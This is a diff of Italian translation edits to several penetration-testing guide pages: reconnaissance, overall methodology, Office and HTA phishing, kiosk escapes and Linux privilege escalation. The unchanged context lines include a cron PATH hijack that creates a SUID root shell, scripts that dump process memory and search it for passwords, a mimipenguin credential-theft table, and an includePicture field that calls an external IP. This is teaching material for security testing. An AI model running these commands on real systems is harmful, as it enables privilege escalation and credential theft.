### **Screenshot**
|
||||
|
||||
Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare **endpoint strani** che sono più **suscettibili** di essere **vulnerabili**.
|
||||
Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **suscettibili** di essere **vulnerabili**.
|
||||
|
||||
Per eseguire l'idea proposta puoi usare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
@ -502,7 +502,7 @@ Inoltre, potresti poi usare [**eyeballer**](https://github.com/BishopFox/eyeball
|
||||
|
||||
## Risorse Cloud Pubbliche
|
||||
|
||||
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto di un'azienda crypto potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto di una compagnia crypto potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Avrai anche bisogno di wordlist di **parole comuni usate nei bucket**:
|
||||
|
||||
@ -546,12 +546,12 @@ Se trovi credenziali **valide trapelate**, questa è una vittoria molto facile.
|
||||
|
||||
## Secrets Leaks
|
||||
|
||||
Le perdite di credenziali sono correlate a hack di aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati:
|
||||
Le perdite di credenziali sono correlate agli attacchi alle aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati:
|
||||
|
||||
### Github Leaks
|
||||
|
||||
Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda github.\
|
||||
Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
|
||||
Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quella azienda su github.\
|
||||
Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repository pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
|
||||
|
||||
**Leakos** può anche essere usato per eseguire **gitleaks** contro tutto il **testo** fornito **URL passati** ad esso poiché a volte **le pagine web contengono anche segreti**.
|
||||
|
||||
@ -570,9 +570,9 @@ Puoi usare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per
|
||||
|
||||
### Google Dorks
|
||||
|
||||
I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o puoi usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
|
||||
I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o potresti usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
|
||||
|
||||
_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché Google ti bloccherà molto, molto presto._
|
||||
_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché Google ti bloccherà molto molto presto._
|
||||
|
||||
### **Cercare vulnerabilità**
|
||||
|
||||
@ -605,12 +605,12 @@ Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners o
|
||||
Quindi hai già:
|
||||
|
||||
1. Trovato tutte le **aziende** all'interno dell'ambito
|
||||
2. Trovato tutti gli **asset** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se in ambito)
|
||||
2. Trovato tutte le **risorse** appartenenti alle aziende (e eseguito alcune scansioni di vulnerabilità se nell'ambito)
|
||||
3. Trovato tutti i **domini** appartenenti alle aziende
|
||||
4. Trovato tutti i **sottodomini** dei domini (qualche takeover di sottodominio?)
|
||||
5. Trovato tutti gli **IP** (da e **non da CDN**) all'interno dell'ambito.
|
||||
6. Trovato tutti i **server web** e fatto uno **screenshot** di essi (qualcosa di strano che valga un'analisi più approfondita?)
|
||||
7. Trovato tutti i **potenziali asset cloud pubblici** appartenenti all'azienda.
|
||||
6. Trovato tutti i **server web** e fatto uno **screenshot** di essi (c'è qualcosa di strano che merita un'analisi più approfondita?)
|
||||
7. Trovato tutte le **potenziali risorse cloud pubbliche** appartenenti all'azienda.
|
||||
8. **Email**, **perdite di credenziali** e **perdite di segreti** che potrebbero darti una **grande vittoria molto facilmente**.
|
||||
9. **Pentesting di tutti i siti web che hai trovato**
|
||||
|
||||
|
||||
@ -42,7 +42,7 @@ Se non c'è alcun exploit interessante per alcun servizio in esecuzione, dovrest
|
||||
**Voglio fare una menzione speciale della** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **parte (poiché è la più estesa).**\
|
||||
Inoltre, una piccola guida su come [**trovare vulnerabilità note nel software**](../generic-hacking/search-exploits.md) può essere trovata qui.
|
||||
|
||||
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzandolo e leggendo le risposte** (se ci sono).
|
||||
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzando e leggendo le risposte** (se ci sono).
|
||||
|
||||
#### 5.1 Strumenti Automatici
|
||||
|
||||
@ -60,9 +60,9 @@ Se a questo punto non hai trovato alcuna vulnerabilità interessante, **potresti
|
||||
|
||||
In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una reverse shell sarebbe molto utile](../generic-hacking/reverse-shells/index.html).
|
||||
|
||||
Specialmente in Windows potresti aver bisogno di aiuto per **evitare gli antivirus**: [**Controlla questa pagina**](../windows-hardening/av-bypass.md)**.**\\
|
||||
Specialmente in Windows potresti aver bisogno di aiuto per **evitare gli antivirus**: [**Controlla questa pagina**](../windows-hardening/av-bypass.md)**.**
|
||||
|
||||
### 8- Dentro
|
||||
### 8- Interno
|
||||
|
||||
Se hai problemi con la shell, puoi trovare qui una piccola **compilazione dei comandi più utili** per i pentester:
|
||||
|
||||
@ -72,7 +72,7 @@ Se hai problemi con la shell, puoi trovare qui una piccola **compilazione dei co
|
||||
|
||||
### **9 -** [**Esfiltrazione**](../generic-hacking/exfiltration.md)
|
||||
|
||||
Probabilmente avrai bisogno di **estrarre alcuni dati dalla vittima** o anche **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post sui comuni strumenti che puoi usare con questi scopi**](../generic-hacking/exfiltration.md)**.**
|
||||
Probabilmente avrai bisogno di **estrarre alcuni dati dalla vittima** o anche di **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post sui comuni strumenti che puoi usare con questi scopi**](../generic-hacking/exfiltration.md)**.**
|
||||
|
||||
### **10- Escalation dei Privilegi**
|
||||
|
||||
@ -87,7 +87,7 @@ Dovresti anche controllare queste pagine su come funziona **Windows**:
|
||||
- Come [**rubare credenziali**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||
- Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
|
||||
|
||||
**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalation dei Privilegi locali in Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di escalation dei privilegi locali in Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Privesc di Dominio**
|
||||
|
||||
|
||||
@ -4,22 +4,22 @@
|
||||
|
||||
## Office Documents
|
||||
|
||||
Microsoft Word esegue la convalida dei dati del file prima di aprire un file. La convalida dei dati viene eseguita sotto forma di identificazione della struttura dei dati, rispetto allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in fase di analisi non verrà aperto.
|
||||
Microsoft Word esegue la convalida dei dati del file prima di aprire un file. La convalida dei dati viene eseguita sotto forma di identificazione della struttura dei dati, rispetto allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in analisi non verrà aperto.
|
||||
|
||||
Di solito, i file Word contenenti macro utilizzano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiando l'estensione del file e mantenere comunque le loro capacità di esecuzione delle macro.\
|
||||
Ad esempio, un file RTF non supporta le macro, per design, ma un file DOCM rinominato in RTF sarà gestito da Microsoft Word e sarà in grado di eseguire macro.\
|
||||
Le stesse internals e meccanismi si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint, ecc.).
|
||||
Gli stessi interni e meccanismi si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint, ecc.).
|
||||
|
||||
Puoi utilizzare il seguente comando per controllare quali estensioni verranno eseguite da alcuni programmi Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX file che fanno riferimento a un modello remoto (File –Opzioni –Componenti aggiuntivi –Gestisci: Modelli –Vai) che include macro possono “eseguire” anche macro.
|
||||
DOCX files che fanno riferimento a un modello remoto (File – Opzioni – Componenti aggiuntivi – Gestisci: Modelli – Vai) che include macro possono “eseguire” anche le macro.
|
||||
|
||||
### Caricamento Immagine Esterna
|
||||
|
||||
Vai a: _Inserisci --> Parti Veloci --> Campo_\
|
||||
&#xNAN;_**Categorie**: Collegamenti e Riferimenti, **Nomi dei file**: includePicture, e **Nome file o URL**:_ http://\<ip>/whatever
|
||||
_**Categorie**: Collegamenti e Riferimenti, **Nomi dei campi**: includePicture, e **Nome file o URL**:_ http://\<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
@ -83,7 +83,7 @@ Fallo perché **non puoi salvare macro all'interno di un `.docx`** e c'è uno **
|
||||
|
||||
Un HTA è un programma Windows che **combina HTML e linguaggi di scripting (come VBScript e JScript)**. Genera l'interfaccia utente ed esegue come un'applicazione "completamente fidata", senza i vincoli del modello di sicurezza di un browser.
|
||||
|
||||
Un HTA viene eseguito utilizzando **`mshta.exe`**, che è tipicamente **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, gli HTA non saranno in grado di eseguire.
|
||||
Un HTA viene eseguito utilizzando **`mshta.exe`**, che è tipicamente **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, gli HTA non saranno in grado di essere eseguiti.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -157,6 +157,6 @@ Ci sono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, ad esemp
|
||||
Non dimenticare che non puoi solo rubare l'hash o l'autenticazione ma anche **eseguire attacchi di relay NTLM**:
|
||||
|
||||
- [**Attacchi di relay NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (relay NTLM ai certificati)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
- [**AD CS ESC8 (relay NTLM a certificati)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
| Componente | Azione |
|
||||
| ------------- | ------------------------------------------------------------------ |
|
||||
| Pulsante di accensione | Spegnere e riaccendere il dispositivo potrebbe esporre la schermata di avvio |
|
||||
| Pulsante di accensione | Spegnere e riaccendere il dispositivo può esporre la schermata di avvio |
|
||||
| Cavo di alimentazione | Controlla se il dispositivo si riavvia quando l'alimentazione viene interrotta brevemente |
|
||||
| Porte USB | Collega una tastiera fisica con più scorciatoie |
|
||||
| Ethernet | La scansione della rete o il sniffing possono abilitare ulteriori sfruttamenti |
|
||||
@ -94,7 +94,7 @@ Editor del registro: [https://sourceforge.net/projects/uberregedit/](https://sou
|
||||
- Toggle Keys – Tieni premuto NUMLOCK per 5 secondi
|
||||
- Filter Keys – Tieni premuto SHIFT destro per 12 secondi
|
||||
- WINDOWS+F1 – Ricerca di Windows
|
||||
- WINDOWS+D – Mostra desktop
|
||||
- WINDOWS+D – Mostra Desktop
|
||||
- WINDOWS+E – Avvia Windows Explorer
|
||||
- WINDOWS+R – Esegui
|
||||
- WINDOWS+U – Centro accessibilità
|
||||
@ -113,8 +113,8 @@ Editor del registro: [https://sourceforge.net/projects/uberregedit/](https://sou
|
||||
|
||||
### Swipe
|
||||
|
||||
- Scorri dal lato sinistro verso destra per vedere tutte le finestre aperte, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo;
|
||||
- Scorri dal lato destro verso sinistra per aprire il Centro operativo, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo;
|
||||
- Scorri da sinistra a destra per vedere tutte le finestre aperte, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo;
|
||||
- Scorri da destra a sinistra per aprire il Centro operativo, minimizzando l'app KIOSK e accedendo direttamente all'intero sistema operativo;
|
||||
- Scorri dal bordo superiore per rendere visibile la barra del titolo per un'app aperta in modalità schermo intero;
|
||||
- Scorri verso l'alto dal basso per mostrare la barra delle applicazioni in un'app a schermo intero.
|
||||
|
||||
@ -147,7 +147,7 @@ Digita questi URL per ottenere una vista di Explorer:
|
||||
- `Shell:Windows`
|
||||
- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Pannello di controllo
|
||||
- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Il mio computer
|
||||
- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> I miei luoghi di rete
|
||||
- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Le mie posizioni di rete
|
||||
- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
### Mostra le estensioni dei file
|
||||
@ -159,7 +159,7 @@ Controlla questa pagina per ulteriori informazioni: [https://www.howtohaven.com/
|
||||
Backup delle versioni iKat:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)
|
||||
|
||||
Crea un dialogo comune utilizzando JavaScript e accedi all'esplora file: `document.write('<input/type=file>')`\
|
||||
Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
@ -176,26 +176,26 @@ Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811
|
||||
- Scorri verso il basso con 1 dito nell'angolo in alto a destra dello schermo: Per vedere il centro di controllo dell'iPad Pro
|
||||
- Scorri 1 dito dal lato sinistro dello schermo per 1-2 pollici: Per vedere la vista Oggi
|
||||
- Scorri rapidamente 1 dito dal centro dello schermo verso destra o sinistra: Per cambiare all'app successiva/precedente
|
||||
- Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad +** Sposta il cursore di **spegnimento** tutto a destra: Per spegnere
|
||||
- Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad +** Sposta il cursore per **spegnere** tutto a destra: Per spegnere
|
||||
- Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad e il pulsante Home per alcuni secondi**: Per forzare uno spegnimento completo
|
||||
- Tieni premuto il pulsante On/**Off**/Sleep nell'angolo in alto a destra dell'**iPad e il pulsante Home rapidamente**: Per fare uno screenshot che apparirà in basso a sinistra del display. Premi entrambi i pulsanti contemporaneamente molto brevemente, poiché se li tieni premuti per alcuni secondi verrà eseguito uno spegnimento completo.
|
||||
|
||||
### Scorciatoie
|
||||
|
||||
Dovresti avere una tastiera per iPad o un adattatore per tastiera USB. Solo le scorciatoie che potrebbero aiutare a uscire dall'applicazione saranno mostrate qui.
|
||||
Dovresti avere una tastiera per iPad o un adattatore per tastiera USB. Solo le scorciatoie che potrebbero aiutare a uscire dall'app saranno mostrate qui.
|
||||
|
||||
| Tasto | Nome |
|
||||
| ----- | ------------ |
|
||||
| ⌘ | Comando |
|
||||
| ⌥ | Opzione (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Ritorno |
|
||||
| ↩ | Ritorna |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Controllo |
|
||||
| ← | Freccia sinistra |
|
||||
| → | Freccia destra |
|
||||
| ↑ | Freccia su |
|
||||
| ↓ | Freccia giù |
|
||||
| ↓ | Freccia giù |
|
||||
|
||||
#### Scorciatoie di sistema
|
||||
|
||||
@ -215,31 +215,31 @@ Queste scorciatoie sono per le impostazioni visive e sonore, a seconda dell'uso
|
||||
|
||||
#### Navigazione su iPad
|
||||
|
||||
| Scorciatoia | Azione |
|
||||
| ----------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Vai alla Home |
|
||||
| ⌘⇧H (Comando-Shift-H) | Vai alla Home |
|
||||
| ⌘ (Spazio) | Apri Spotlight |
|
||||
| Scorciatoia | Azione |
|
||||
| --------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Vai alla Home |
|
||||
| ⌘⇧H (Comando-Shift-H) | Vai alla Home |
|
||||
| ⌘ (Spazio) | Apri Spotlight |
|
||||
| ⌘⇥ (Comando-Tab) | Elenca le ultime dieci app utilizzate |
|
||||
| ⌘\~ | Vai all'ultima app |
|
||||
| ⌘⇧3 (Comando-Shift-3) | Screenshot (si ferma in basso a sinistra per salvare o agire su di esso) |
|
||||
| ⌘⇧4 | Screenshot e aprilo nell'editor |
|
||||
| Tieni premuto ⌘ | Elenco delle scorciatoie disponibili per l'app |
|
||||
| ⌘⇧4 | Screenshot e aprilo nell'editor |
|
||||
| Tieni premuto ⌘ | Elenco delle scorciatoie disponibili per l'app |
|
||||
| ⌘⌥D (Comando-Opzione/Alt-D) | Mostra il dock |
|
||||
| ^⌥H (Controllo-Opzione-H) | Pulsante Home |
|
||||
| ^⌥H H (Controllo-Opzione-H-H) | Mostra la barra multitasking |
|
||||
| ^⌥I (Controllo-Opzione-i) | Selettore di elementi |
|
||||
| ^⌥H (Controllo-Opzione-H) | Pulsante Home |
|
||||
| ^⌥H H (Controllo-Opzione-H-H) | Mostra la barra multitasking |
|
||||
| ^⌥I (Controllo-Opzione-i) | Selettore di elementi |
|
||||
| Escape | Pulsante Indietro |
|
||||
| → (Freccia destra) | Prossimo elemento |
|
||||
| ← (Freccia sinistra) | Elemento precedente |
|
||||
| ↑↓ (Freccia su, Freccia giù) | Tocca simultaneamente l'elemento selezionato |
|
||||
| ⌥ ↓ (Opzione-Freccia giù) | Scorri verso il basso |
|
||||
| ⌥↑ (Opzione-Freccia su) | Scorri verso l'alto |
|
||||
| ⌥← o ⌥→ (Opzione-Freccia sinistra o Opzione-Freccia destra) | Scorri a sinistra o a destra |
|
||||
| ^⌥S (Controllo-Opzione-S) | Attiva o disattiva la sintesi vocale |
|
||||
| ⌘⇧⇥ (Comando-Shift-Tab) | Passa all'app precedente |
|
||||
| ⌘⇥ (Comando-Tab) | Torna all'app originale |
|
||||
| ←+→, poi Opzione + ← o Opzione+→ | Naviga attraverso il Dock |
|
||||
| → (Freccia destra) | Prossimo elemento |
|
||||
| ← (Freccia sinistra) | Elemento precedente |
|
||||
| ↑↓ (Freccia su, Freccia giù) | Tocca simultaneamente l'elemento selezionato |
|
||||
| ⌥ ↓ (Opzione-Freccia giù) | Scorri verso il basso |
|
||||
| ⌥↑ (Opzione-Freccia su) | Scorri verso l'alto |
|
||||
| ⌥← o ⌥→ (Opzione-Freccia sinistra o Opzione-Freccia destra) | Scorri a sinistra o a destra |
|
||||
| ^⌥S (Controllo-Opzione-S) | Attiva o disattiva la sintesi vocale |
|
||||
| ⌘⇧⇥ (Comando-Shift-Tab) | Passa all'app precedente |
|
||||
| ⌘⇥ (Comando-Tab) | Torna all'app originale |
|
||||
| ←+→, poi Opzione + ← o Opzione+→ | Naviga attraverso il Dock |
|
||||
|
||||
#### Scorciatoie di Safari
|
||||
|
||||
@ -251,7 +251,7 @@ Queste scorciatoie sono per le impostazioni visive e sonore, a seconda dell'uso
|
||||
| ⌘R | Aggiorna la scheda corrente |
|
||||
| ⌘. | Ferma il caricamento della scheda corrente |
|
||||
| ^⇥ | Passa alla scheda successiva |
|
||||
| ^⇧⇥ (Controllo-Shift-Tab) | Passa alla scheda precedente |
|
||||
| ^⇧⇥ (Controllo-Shift-Tab) | Passa alla scheda precedente |
|
||||
| ⌘L | Seleziona il campo di input/testo URL per modificarlo |
|
||||
| ⌘⇧T (Comando-Shift-T) | Apri l'ultima scheda chiusa (può essere usata più volte) |
|
||||
| ⌘\[ | Torna indietro di una pagina nella cronologia di navigazione |
|
||||
|
||||
@ -14,11 +14,11 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
|
||||
```
|
||||
### Path
|
||||
|
||||
Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari:
|
||||
Se **hai permessi di scrittura su una qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari:
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
### Info ambiente
|
||||
### Env info
|
||||
|
||||
Informazioni interessanti, password o chiavi API nelle variabili d'ambiente?
|
||||
```bash
|
||||
@ -43,7 +43,7 @@ Strumenti che potrebbero aiutare a cercare exploit del kernel sono:
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (eseguire SULLA vittima, controlla solo exploit per kernel 2.x)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (eseguire NEL vittima, controlla solo exploit per kernel 2.x)
|
||||
|
||||
Cerca sempre **la versione del kernel su Google**, forse la tua versione del kernel è scritta in qualche exploit del kernel e allora sarai sicuro che questo exploit è valido.
|
||||
|
||||
@ -186,10 +186,10 @@ Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi
|
||||
>
|
||||
> Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di ptrace:
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava ptracing.
|
||||
> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing.
|
||||
> - **kernel.yama.ptrace_scope = 1**: solo un processo padre può essere debugged.
|
||||
> - **kernel.yama.ptrace_scope = 2**: solo l'amministratore può utilizzare ptrace, poiché richiede la capacità CAP_SYS_PTRACE.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente ptracing.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente il ptracing.
|
||||
|
||||
#### GDB
|
||||
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Per un dato ID di processo, **maps mostra come la memoria è mappata all'interno dello spazio degli indirizzi virtuali di quel processo**; mostra anche le **permissive di ciascuna regione mappata**. Il **mem** pseudo file **espone la memoria dei processi stessi**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Utilizziamo queste informazioni per **cercare nel file mem e scaricare tutte le regioni leggibili** in un file.
|
||||
Per un dato ID di processo, **maps mostra come la memoria è mappata all'interno dello spazio degli indirizzi virtuali di quel processo**; mostra anche le **permissive di ciascuna regione mappata**. Il **mem** pseudo file **espone la memoria dei processi stessi**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Utilizziamo queste informazioni per **cercare nel file mem e dumpare tutte le regioni leggibili** in un file.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -230,7 +230,7 @@ rm $1*.bin
|
||||
```
|
||||
#### /dev/mem
|
||||
|
||||
`/dev/mem` fornisce accesso alla **memoria** fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere accessibile utilizzando /dev/kmem.\
|
||||
`/dev/mem` fornisce accesso alla **memoria** fisica del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel può essere accesso utilizzando /dev/kmem.\
|
||||
Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**.
|
||||
```
|
||||
strings /dev/mem -n10 | grep -i PASS
|
||||
@ -290,14 +290,14 @@ strings *.dump | grep -i password
|
||||
|
||||
Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **ruba le credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi di root per funzionare correttamente.
|
||||
|
||||
| Caratteristica | Nome Processo |
|
||||
| --------------------------------------------------- | -------------------- |
|
||||
| Password GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Connessioni FTP Attive) | vsftpd |
|
||||
| Apache2 (Sessioni HTTP Basic Auth Attive) | apache2 |
|
||||
| OpenSSH (Sessioni SSH Attive - Uso di Sudo) | sshd: |
|
||||
| Caratteristica | Nome Processo |
|
||||
| -------------------------------------------------- | -------------------- |
|
||||
| Password GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Connessioni FTP Attive) | vsftpd |
|
||||
| Apache2 (Sessioni HTTP Basic Auth Attive) | apache2 |
|
||||
| OpenSSH (Sessioni SSH Attive - Uso di Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
@ -327,14 +327,14 @@ Ad esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/us
|
||||
|
||||
(_Nota come l'utente "user" abbia privilegi di scrittura su /home/user_)
|
||||
|
||||
Se all'interno di questo crontab l'utente root cerca di eseguire qualche comando o script senza impostare il path. Ad esempio: _\* \* \* \* root overwrite.sh_\
|
||||
Se all'interno di questo crontab l'utente root cerca di eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\
|
||||
Allora, puoi ottenere una shell root usando:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
#Wait cron job to be executed
|
||||
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
|
||||
```
|
||||
### Cron usando uno script con un carattere jolly (Wildcard Injection)
|
||||
### Cron utilizzando uno script con un carattere jolly (Wildcard Injection)
|
||||
|
||||
Se uno script eseguito da root contiene un “**\***” all'interno di un comando, potresti sfruttarlo per fare cose inaspettate (come privesc). Esempio:
|
||||
```bash
|
||||
@ -360,11 +360,11 @@ Se lo script eseguito da root utilizza una **directory a cui hai accesso complet
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### Lavori cron frequenti
|
||||
### Frequent cron jobs
|
||||
|
||||
